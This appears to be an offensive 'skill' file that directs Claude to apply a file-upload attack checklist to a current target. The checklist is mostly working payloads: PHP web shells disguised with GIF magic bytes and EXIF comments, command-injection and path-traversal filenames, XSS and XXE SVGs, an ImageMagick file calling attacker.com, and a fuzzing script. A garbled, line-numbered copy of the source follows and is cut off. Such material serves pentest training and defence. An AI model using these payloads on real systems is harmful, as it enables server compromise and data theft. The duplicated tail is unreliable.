SKILL: File Upload Vulnerabilities
Metadata
Description
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of:
file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> I
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.
These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
- Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
- Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
- Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
- Unsafe File Storage: Storing files in executable directories or with dangerous permissions
- File Operation Mishandling: Not securely handling file operations during the upload process
- Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
- Race Conditions: Timing issues during validation and moving of uploaded files
- Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
- Profile Picture Uploads: Common in user profiles and social media
- Document Repositories: File sharing services and document management systems
- Media Uploads: Image, video, and audio uploaders
- Bulk Import Features: CSV, XML, and other data import functionality
- Content Management Systems: Templates, plugins, themes, and media libraries
Hunt
Identifying File Upload Vulnerabilities
Target Discovery
Map File Upload Functionality:
- Profile picture uploads
- Document/attachment uploads
- Import/export features
- Media galleries
- CMS admin sections
- Backup/restore features
- Avatar/image uploads
Identify Upload Processing Patterns:
- Client-side validation patterns (JavaScript checks)
- Server-side validation indicators
- File type restrictions mentioned in UI
- Error messages related to file types
Testing Prerequisites:
- Collection of test files (various formats)
- Proxy for intercepting requests (Burp Suite, ZAP)
- Web shells for testing execution
- MIME-type tools for manipulation
- Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
Testing Methodologies
Basic File Upload Testing:
- Test uploading standard expected files (baseline)
- Attempt uploading executable file types (PHP, ASP, JSP, etc.)
- Modify content-type headers during upload
- Change file extensions after client-side validation
Extension-Based Testing:
- Test alternate extensions for web shells:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif
.asp, .aspx, .ashx, .asmx, .cer, .asa
.jsp, .jspx, .jsw, .jsv, .jspf
.cfm, .cfml, .cfc, .dbm (Coldfusion)
.pl, .py, .rb, .cgi
- Test double extensions:
file.jpg.php
file.php.jpg
file.php.jpeg
file.php%00.jpg # Null byte (older versions)
file.php%20.jpg # URL encoded space
file.php%0d%0a.jpg # CRLF injection
file.php.blah123jpg # If regex is weak
- Test case sensitivity bypass:
file.PhP
file.Php5
file.AspX
file.pHp
file.pHP5
file.PhAr
- Test trailing characters/delimiters:
file.php.....
file.php/
file.php.\
file.php. # Trailing dot (Windows specific)
file.php%20 # Trailing space
file.php%09 # Trailing tab
file.php%0a # Trailing newline
file.php%0d # Trailing carriage return
file.php::$DATA # NTFS Alternate Data Stream (Windows specific)
file. # No extension
.html # Just extension
- Test filename manipulation:
# Try to cut extension with max filename length limit
# Try empty filename: .php
# Send filename parameter twice: filename="allowed.jpg";filename="shell.php"
Content-Type Testing:
- Modify the Content-Type header to bypass MIME validation:
Content-Type: image/jpeg # actual file is PHP
Content-Type: image/png # actual file is PHP
Content-Type: image/gif # actual file is PHP
Content-Type: application/x-php # declared as image/jpeg when sent
- Other Content-Type manipulations:
# Remove Content-Type header entirely
# Send Content-Type twice with allowed/disallowed values
Magic Byte Forging:
- If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
# Example: Add GIF header to a PHP shell
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot File Testing:
Path and Filename Abuse Testing:
- Test path traversal in filename:
filename=../../../../etc/passwd
filename=/etc/passwd
filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)
- Test injections via filename (if filename is processed unsafely):
filename=a$(whoami)z.png # Command Injection
filename=a`whoami`z.png # Command Injection
filename="a';select+sleep(10);--z.png" # SQL Injection
filename=https://internal.service/data # SSRF attempt
- Test DoS via large filename (e.g., 255+ characters).
Archive Testing (Zip/Tar):
- Zip Slip: Create archives with path traversal (
../../tmp/shell.php).
- Symlink Abuse: Include symlinks in archives pointing to sensitive files (
ln -s /etc/passwd link.txt).
- Tar Permissions Abuse: Create tar with restrictive parent dir permissions (
chmod 300) but permissive subdir (chmod 700) containing symlinks.
- Also test LFI access via zip wrapper:
site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php
ImageMagick Testing:
- Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.
- See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.
Third-Party Library Testing:
- Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).
Race Condition Testing:
- File Upload Race: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.
- URL-Based Upload Race: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.
- HTTP/2 Multiplex Smuggling: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.
- Temp path reads: Try accessing temporary upload paths before move/scan completes.
SSRF via HTTP Range Requests:
- If uploading via URL, try manipulating
Range headers to potentially redirect parts of the download to internal servers.
Bypass Techniques
mindmap
root((Bypass Techniques))
Client-Side
Disable JavaScript
Request Interception
Extension Manipulation
MIME-Type Manipulation
Server-Side
Metadata Injection
Image Content Manipulation
Polyglot Techniques
Path Traversal
DenyList Bypass
Magic Byte Forging
Windows Specific Bypasses (. and ADS)
Client-Side Validation Bypasses
Disabling JavaScript:
- Disable JavaScript to bypass client-side checks
- Use browser developer tools to modify the DOM
Request Interception:
- Intercept and modify upload requests using Burp Suite or ZAP
- Change file parameters post-validation
Extension Manipulation Techniques:
# Null byte injection (for PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Using alternate representations
shell.php.....
shell.php;.jpg
shell.php::$DATA.jpg
# Manipulating request content
1. Upload legitimate image
2. Intercept request
3. Replace file content with shell while keeping filename
- MIME-Type Manipulation:
- Modify Content-Type header to match expected type
- Change file signature/magic bytes to appear as legitimate format
Server-Side Validation Bypasses
Metadata Injection:
- Inject code into image metadata (EXIF)
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg
Image Content Manipulation:
- Create images containing server-side code
# PHP code in GIF file
GIF89a;
<?php system($_GET['cmd']); ?>
Advanced Polyglot Techniques:
- Create files that are valid in multiple formats
# Valid JPG and PHP
Create JPG with PHP code after the image data
Add PHP code to EXIF data
Path Traversal in Upload Locations:
filename=../../../tmp/shell.php
filename=..%2f..%2f..%2ftmp%2fshell.php
filename=../../etc/passwd/logo.png # Example LFI attempt
filename=\\attacker-site.com\file.png # UNC Path (Windows specific)
Common DenyList Bypass:
escape "/" with "\/" or "//" with "\/\/"
try single "/" instead of "//"
remove http i.e. "continue=//google.com"
"/\/\" , "|/" , "/%09/"
encode, slashes
"./" CHANGE TO "..//"
"../" CHANGE TO "....//"
"/" CHANGE TO "//"
filename=..%2f..%2f..%2ftmp%2fshell.php
# Check IIS specific extensions if applicable
filename=shell.cer
filename=shell.asa
# Windows specific bypasses
filename=shell.aspx. # Trailing dot
filename=shell.php::$DATA # Alternate Data Stream (ADS)
filename=shell.php:.jpg # ADS confusion
GIF Comment Bypass:
- Inject payload within GIF comments.
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Magic Byte Forging:
- Prepend malicious file content with the magic bytes of an allowed file type.
# Example: GIF header + PHP shell
GIF89a;
<?php echo 'Magic Byte Bypass'; phpinfo(); ?>
Vulnerabilities
Common File Upload Vulnerability Patterns
graph TD
A[File Upload Vulnerabilities] --> B[Implementation-Specific]
A --> C[Impact Scenarios]
B --> D[CMS Upload Vulnerabilities]
B --> E[Framework Upload Vulnerabilities]
B --> F[Language-Specific Vulnerabilities]
C --> G[RCE]
C --> H[XSS]
C --> I[SSRF]
C --> J[DoS]
C --> K[LFI]
Implementation-Specific Vulnerabilities
CMS Upload Vulnerabilities:
- WordPress: Plugin and theme uploaders
Upload plugin ZIP with malicious PHP files
SVG uploads with XSS in media library
- Drupal: Module installations
Malicious module installation via admin panel
- Joomla: Template uploads
Malicious template installation
Framework Upload Vulnerabilities:
- PHP: File upload handling in common frameworks
Laravel file upload middleware bypass
CodeIgniter upload library misconfiguration
- Java: Spring MVC file upload handlers
Spring MultipartResolver misconfiguration
- ASP.NET: File upload components
ASP.NET FileUpload control misconfiguration
Language-Specific Upload Vulnerabilities:
- PHP: move_uploaded_file() race conditions
- Java: Temporary file creation vulnerabilities
- Node.js: Express-fileupload vulnerabilities
Impact Scenarios
Extension Impact Matrix
Common file extensions and their potential security impacts:
- Web Shells & RCE:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt
.asp, .aspx, .ashx, .asmx, .asa, .cer, xamlx (ASP.NET)
.jsp, .jspx, .jsw, .jsv, .jspf (Java Server Pages)
.cfm, .cfml, .cfc, .dbm (ColdFusion)
.pl, .py, .rb, .cgi
.htaccess (if Apache allows override, can reconfigure PHP handling or execute commands)
.config (web.config for IIS/ASP.NET)
- Client-Side Attacks:
.svg: Stored XSS, SSRF, XXE
.gif: Stored XSS (via comments), SSRF
.html, .js: HTML injection, XSS, Open redirect, Phishing
.wasm: WebAssembly modules for client-side code execution
.webp, .avif: Modern image format parser bugs
- Server-Side Attacks:
.csv: CSV injection (Formula Injection)
.xml: XXE
.avi, .mov: Potential LFI, SSRF (via external streams/subtitles)
.pdf, .pptx: SSRF, Blind XXE (via external entities/references)
.zip: RCE via LFI (using zip:// wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)
.scf (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)
- Denial of Service:
.png, .jpeg: Pixel flood attack (large dimensions/compressed data)
- Large filenames:
1234...99.png (e.g., > 255 chars)
- Zip bombs (highly compressed archives)
- Files exploiting parser libraries (ImageTragick, XML bombs)
Remote Code Execution (RCE)
File Inclusion Attack Chains
- LFI via Uploaded Files: Chaining local file inclusion with uploads
1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).
2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).
- LFI via Zip Wrapper:
1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).
2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`
XSS via Uploaded Files
- SVG-Based XSS:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS via SVG");
</script>
</svg>
- GIF Comment XSS:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
- HTML/JS File Uploads:
<!-- If .html or .js uploads are allowed and rendered -->
<script>
alert(document.cookie);
</script>
- Filename-Based XSS:
filename="<svg
filename="xss.<svg
Server-Side Request Forgery (SSRF) via Uploads
- XXE in SVG Uploads:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
- SVG Image Href SSRF:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />
</svg>
- PDF/PPTX SSRF: Exploiting features that fetch external resources.
- Upload from URL Feature: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.
- SSRF via Filename: Submitting a URL as the filename (
filename=http://internal...).
- SSRF via HTTP Range Requests: Manipulating
Range header during URL fetch.
XXE via Uploads
- XML File Upload: Standard XXE payloads in
.xml files.
- SVG File Upload: See SSRF example above.
- Excel File Upload (
.xlsx): .xlsx files are zip archives containing XML files (like sharedStrings.xml) which can be crafted with XXE payloads.
- PDF/PPTX Blind XXE: Similar to SSRF, using external entity references.
Open Redirect via Uploads
Command Injection via Filename
SQL Injection via Filename
Denial of Service (DoS)
- Pixel Flood Attack: Uploading specially crafted images (e.g.,
lottapixel.jpg) that consume excessive resources during processing. (Reference)
- Zip Bomb: Uploading highly compressed archives that expand significantly.
- Large Filename: Using extremely long filenames can sometimes cause issues or DoS.
- Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).
- Uploading
.eml files with Content-Type: text/html if processed insecurely.
- FFmpeg/Video Processing: Upload crafted video files (
.mp4, .avi, .mov) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.
- HEIC/AVIF Processing: Exploit parsing bugs in libheif/libavif during thumbnail generation.
- PDF.js Browser Rendering: Upload PDFs with malicious annotations or forms that exploit client-side renderers.
Additional Attack Vectors
ImageMagick Vulnerabilities
- Using .mvg files for SSRF/LFI:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://attacker.com/)'
pop graphic-context
- Using the gifoeb tool for memory disclosure:
./gifoeb gen 512x512 dump.gif
# Try different extensions:
./gifoeb gen 1123x987 dump.jpg
./gifoeb gen 1123x987 dump.png
# Recover pixels after upload and download:
# for p in previews/*; do ./gifoeb recover $p | strings; done
WAF Bypass Techniques
- URL Parameter Manipulation:
/?file=xx.php <- Blocked
/?file===xx.php <- Bypassed
- Content-Type Manipulation with Metadata:
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg
mv shell.jpg shell.php.jpg
New CVEs
- CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.
- CVE-2024-53677 – Apache Struts S2-067: Multipart upload path-traversal leading to RCE.
- CVE-2024-57169 – SOPlanning ≤ 1.53: Arbitrary file upload to the web-root.
- CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5: Filename sanitisation bypass resulting in RCE during HEIC conversion.
- Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.
- HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust
Content-Type/magic bytes.
- Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.
Methodologies
Tools
File Upload Vulnerability Testing Tools
- Burp Suite: Content-Type and request manipulation, Intruder for fuzzing
- OWASP ZAP: Automated scanning for upload vulnerabilities
- ExifTool: Metadata manipulation for bypass testing
- Weevely: Web shell generation tool
- Fuxploider: File upload vulnerability scanner (GitHub)
- Upload Scanner (Burp Extension): (PortSwigger BApp Store)
- FUFF / ffuf / wfuzz: Fuzzing file upload endpoints, extensions, parameters
Custom Testing Scripts
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
def test_file_upload(target_url, file_path, file_name, content_type):
"""
Test file upload with custom parameters
"""
multipart_data = MultipartEncoder(
fields={
'file': (file_name, open(file_path, 'rb'), content_type)
}
)
headers = {
'Content-Type': multipart_data.content_type
}
response = requests.post(target_url, data=multipart_data, headers=headers)
# Return response for analysis
return {
'status_code': response.status_code,
'response_text': response.text,
'response_headers': dict(response.headers)
}
# Example usage:
target = 'https://target.com/upload.php'
test_cases = [
# Basic tests
{'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},
# Content-type tests
{'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},
# Extension tests
{'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},
{'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},
]
for test in test_cases:
result = test_file_upload(target, test['path'], test['name'], test['type'])
print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")
Testing Strategies
Comprehensive File Upload Testing Process
Discovery Phase:
- Map all file upload functionality
- Identify client-side and server-side validation patterns
- Document allowed file types and upload restrictions
Initial Testing Phase:
- Test baseline functionality with expected file types
- Test basic restriction bypasses:
- Extension manipulation
- Content-Type manipulation
- Simple payload attempts
Advanced Testing Phase:
- Test for complex bypass techniques:
- Polyglot files
- Metadata injection
- Race conditions
- Upload directory traversal
Exploitation Phase:
- Verify code execution for successful uploads
- Test chained attack scenarios
- Document impact and attack chains
Post-Exploitation Testing:
- Test upload persistence
- Test access control on uploaded files
- Test ability to access uploads across user contexts
Real-World Testing Examples
CMS File Upload Testing
- Identify CMS type and version
- Map file upload functionality (plugins, themes, media)
- Test bypasses specific to the CMS:
- WordPress: Plugin installation with malicious PHP
- Drupal: Module upload with executable code
- Joomla: Template upload with backdoor
- Verify code execution
Multi-step Bypass Testing
- Attempt standard upload with blocked extension (.php)
- If blocked, try modification techniques:
- Double extensions (.jpg.php)
- Alternate extensions (.phtml, .php5)
- Case manipulation (.pHP)
- If still blocked, try content manipulation:
- Change Content-Type header
- Modify magic bytes
- Use polyglot techniques
- If successful, verify execution path
SVG Upload for XSS Testing
- Create malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg"
- Upload to target site
- Access uploaded SVG directly or in context
- Verify XSS execution
Remediation Recommendations
Implement Proper Validation:
- Validate file type using content inspection, not just extension
- Use file signature/magic byte checking
- Implement allowlist approach for permitted file types AND extensions (Defense in Depth)
Apply Multiple Security Layers:
- Implement client-side AND server-side validation
- Use content-type validation AND extension validation
- Scan uploaded files with security tools
- Use separate domains or CDNs for user-uploaded content (reduces XSS risk)
- Implement proper, restrictive permissions on upload directories (prevent execution)
Store Files Securely:
- Store uploaded files outside the web root when possible
- Use separate domains for user-uploaded content
- Implement proper permissions on upload directories
Process Uploaded Files:
- Remove metadata from images
- Re-encode/compress uploaded images
- Strip potentially dangerous content
- Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)
- Validate file paths against directory traversal
- Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.
- Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.
- Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.
Implement File Upload Best Practices:
- Set upload size limits
- Implement file scanning for malware
- Use random, unpredictable filenames
- Validate file paths against directory traversal
Context-Specific Controls:
- For image uploads: Validate dimensions and recompress
- For document uploads: Convert to PDF or other safe format
- For code uploads: Implement sandbox execution environment or strict validation/linting
HTTP Headers:
- For downloaded files, set
Content-Disposition: attachment; filename="user_safe_filename.ext" to force download prompt.
- Set
X-Content-Type-Options: nosniff to prevent browsers from MIME-sniffing the content type away from the declared one.
Cloud / Object-Storage Upload Checklist
- Use presigned URLs with short TTL (≤ 60 s) and single-use semantics.
- Enforce
bucket-owner-enforced ACL or Object Lock to prevent post-scan overwrites.
- Require server-side encryption headers (for example
x-amz-server-side-encryption) on presigned PUTs.
- Restrict the IAM role used for uploads to PutObject only; deny
GetObject and DeleteObject unless required.
- Validate the object key on the backend after upload; reject keys containing
../ or control characters.
- For compute workers processing uploads, enforce IMDSv2 and limit egress to mitigate SSRF pivots.
Cloud/Object Storage Advanced
- Presigned POST policies: verify policy
conditions enforce content-type, size, and key prefix; reject uploads whose actual Content-Type differs at processing time.
- Compute ETag/MD5 checks; reject mismatched
Content-MD5 values; beware S3 multipart ETag semantics for multi-part uploads.
- Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.
- Prevent key confusion: disallow keys with
%2f, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.
- CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.
- Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.
Chunked/Streaming and CDN/Image Pipelines
- HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.
- Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.
- Image pipelines with
?url= sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.
1---2name: offensive-file-upload3description: SKILL: File Upload Vulnerabilities4---5# SKILL: File Upload Vulnerabilities67## Metadata8- **Skill Name**: file-upload9- **Folder**: offensive-file-upload10- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md1112## Description13File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.1415## Trigger Phrases16Use this skill when the conversation involves any of:17`file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload`1819## Instructions for Claude2021When this skill is active:221. Load and apply the full methodology below as your operational checklist232. Follow steps in order unless the user specifies otherwise243. For each technique, consider applicability to the current target/context254. Track which checklist items have been completed265. Suggest next steps based on findings2728---2930## Full Methodology3132# File Upload Vulnerabilities3334## Mechanisms3536```mermaid37flowchart TD38 A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]39 A --> C[Improper Extension Handling]40 A --> D[Inadequate File Content Analysis]41 A --> E[Unsafe File Storage]42 A --> F[File Operation Mishandling]43 A --> G[Directory Traversal]44 A --> H[Race Conditions]4546 B --> I[Remote Code Execution]47 C --> I48 D --> J[Client-Side Attacks]49 E --> I50 F --> K[Denial of Service]51 G --> L[Arbitrary File Access]52 H --> I53```5455File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.56These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.5758The core technical issues behind file upload vulnerabilities include:5960- **Insufficient File Type Validation**: Failure to properly validate the actual content/type of uploaded files61- **Improper Extension Handling**: Not restricting dangerous file extensions or allowing easy bypasses62- **Inadequate File Content Analysis**: Not checking the actual file content versus relying only on extension or content-type63- **Unsafe File Storage**: Storing files in executable directories or with dangerous permissions64- **File Operation Mishandling**: Not securely handling file operations during the upload process65- **Directory Traversal Vulnerabilities**: Allowing manipulation of upload paths66- **Race Conditions**: Timing issues during validation and moving of uploaded files67- **Archive Extraction Flaws**: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)6869File upload vulnerabilities can manifest in various upload functionality patterns:7071- **Profile Picture Uploads**: Common in user profiles and social media72- **Document Repositories**: File sharing services and document management systems73- **Media Uploads**: Image, video, and audio uploaders74- **Bulk Import Features**: CSV, XML, and other data import functionality75- **Content Management Systems**: Templates, plugins, themes, and media libraries7677## Hunt7879### Identifying File Upload Vulnerabilities8081#### Target Discovery82831. **Map File Upload Functionality**:84 - Profile picture uploads85 - Document/attachment uploads86 - Import/export features87 - Media galleries88 - CMS admin sections89 - Backup/restore features90 - Avatar/image uploads91922. **Identify Upload Processing Patterns**:93 - Client-side validation patterns (JavaScript checks)94 - Server-side validation indicators95 - File type restrictions mentioned in UI96 - Error messages related to file types97983. **Testing Prerequisites**:99 - Collection of test files (various formats)100 - Proxy for intercepting requests (Burp Suite, ZAP)101 - Web shells for testing execution102 - MIME-type tools for manipulation103 - Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)104105#### Testing Methodologies1061071. **Basic File Upload Testing**:108 - Test uploading standard expected files (baseline)109 - Attempt uploading executable file types (PHP, ASP, JSP, etc.)110 - Modify content-type headers during upload111 - Change file extensions after client-side validation1121132. **Extension-Based Testing**:114 - Test alternate extensions for web shells:115 ```116 .php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif117 .asp, .aspx, .ashx, .asmx, .cer, .asa118 .jsp, .jspx, .jsw, .jsv, .jspf119 .cfm, .cfml, .cfc, .dbm (Coldfusion)120 .pl, .py, .rb, .cgi121 ```122 - Test double extensions:123 ```124 file.jpg.php125 file.php.jpg126 file.php.jpeg127 file.php%00.jpg # Null byte (older versions)128 file.php%20.jpg # URL encoded space129 file.php%0d%0a.jpg # CRLF injection130 file.php.blah123jpg # If regex is weak131 ```132 - Test case sensitivity bypass:133 ```134 file.PhP135 file.Php5136 file.AspX137 file.pHp138 file.pHP5139 file.PhAr140 ```141 - Test trailing characters/delimiters:142 ```143 file.php.....144 file.php/145 file.php.\146 file.php. # Trailing dot (Windows specific)147 file.php%20 # Trailing space148 file.php%09 # Trailing tab149 file.php%0a # Trailing newline150 file.php%0d # Trailing carriage return151 file.php::$DATA # NTFS Alternate Data Stream (Windows specific)152 file. # No extension153 .html # Just extension154 ```155 - Test filename manipulation:156 ```157 # Try to cut extension with max filename length limit158 # Try empty filename: .php159 # Send filename parameter twice: filename="allowed.jpg";filename="shell.php"160 ```1611623. **Content-Type Testing**:163 - Modify the Content-Type header to bypass MIME validation:164 ```165 Content-Type: image/jpeg # actual file is PHP166 Content-Type: image/png # actual file is PHP167 Content-Type: image/gif # actual file is PHP168 Content-Type: application/x-php # declared as image/jpeg when sent169 ```170 - Other Content-Type manipulations:171 ```172 # Remove Content-Type header entirely173 # Send Content-Type twice with allowed/disallowed values174 ```1751764. **Magic Byte Forging**:177 - If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.178179 ```180 # Example: Add GIF header to a PHP shell181 GIF89a;<?php system($_GET['cmd']); ?>182 ```1831845. **Polyglot File Testing**:185 - Create and test polyglot files (valid in multiple formats)186 ```187 GIFAR files (GIF + RAR)188 Valid Image + PHP code in EXIF metadata189 PDF + PHP code190 SVG + JavaScript for XSS191 ```192 - see [@dan_crowley's talk](http://goo.gl/pquXC2) and [@angealbertini research](https://github.com/abzcoding/Notes/blob/master/pentest/corkami.com)1931946. **Path and Filename Abuse Testing**:195 - Test path traversal in filename:196 ```197 filename=../../../../etc/passwd198 filename=/etc/passwd199 filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)200 ```201 - Test injections via filename (if filename is processed unsafely):202 ```203 filename=a$(whoami)z.png # Command Injection204 filename=a`whoami`z.png # Command Injection205 filename="a';select+sleep(10);--z.png" # SQL Injection206 filename=https://internal.service/data # SSRF attempt207 ```208 - Test DoS via large filename (e.g., 255+ characters).2092107. **Archive Testing (Zip/Tar)**:211 - **Zip Slip**: Create archives with path traversal (`../../tmp/shell.php`).212 - **Symlink Abuse**: Include symlinks in archives pointing to sensitive files (`ln -s /etc/passwd link.txt`).213 - **Tar Permissions Abuse**: Create tar with restrictive parent dir permissions (`chmod 300`) but permissive subdir (`chmod 700`) containing symlinks.214 - Also test LFI access via zip wrapper: `site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php`2152168. **ImageMagick Testing**:217 - Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.218 - See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.2192209. **Third-Party Library Testing**:221 - Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).22222310. **Race Condition Testing**:224 - **File Upload Race**: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.225 - **URL-Based Upload Race**: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.226 - **HTTP/2 Multiplex Smuggling**: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.227 - **Temp path reads**: Try accessing temporary upload paths before move/scan completes.22822911. **SSRF via HTTP Range Requests**:230 - If uploading via URL, try manipulating `Range` headers to potentially redirect parts of the download to internal servers.231232### Bypass Techniques233234```mermaid235mindmap236 root((Bypass Techniques))237 Client-Side238 Disable JavaScript239 Request Interception240 Extension Manipulation241 MIME-Type Manipulation242 Server-Side243 Metadata Injection244 Image Content Manipulation245 Polyglot Techniques246 Path Traversal247 DenyList Bypass248 Magic Byte Forging249 Windows Specific Bypasses (. and ADS)250```251252#### 